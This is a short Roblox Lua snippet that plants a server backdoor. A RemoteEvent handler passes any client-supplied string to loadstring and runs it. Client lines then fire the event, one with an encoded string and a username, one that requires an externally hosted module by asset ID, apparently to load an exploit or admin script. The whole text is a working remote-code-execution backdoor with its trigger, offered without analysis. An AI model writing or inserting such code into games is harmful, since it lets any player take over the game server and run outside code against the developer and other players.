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- local Event = Instance.new("RemoteEvent", game.ReplicatedStorage) -- This creates the remote
- Event.OnServerEvent:connect(function(player, serverExecution)
- loadstring(serverExecution)()
- end)
- game.ReplicatedStorage.RemoteEvent:FireServer('cGxzIGVtbWE=',game:GetService'Players'.CerealKiller223.Name,1201581879)
- game.ReplicatedStorage.RemoteEvent:FireServer([[require(1201581879).load"CerealKiller223]])
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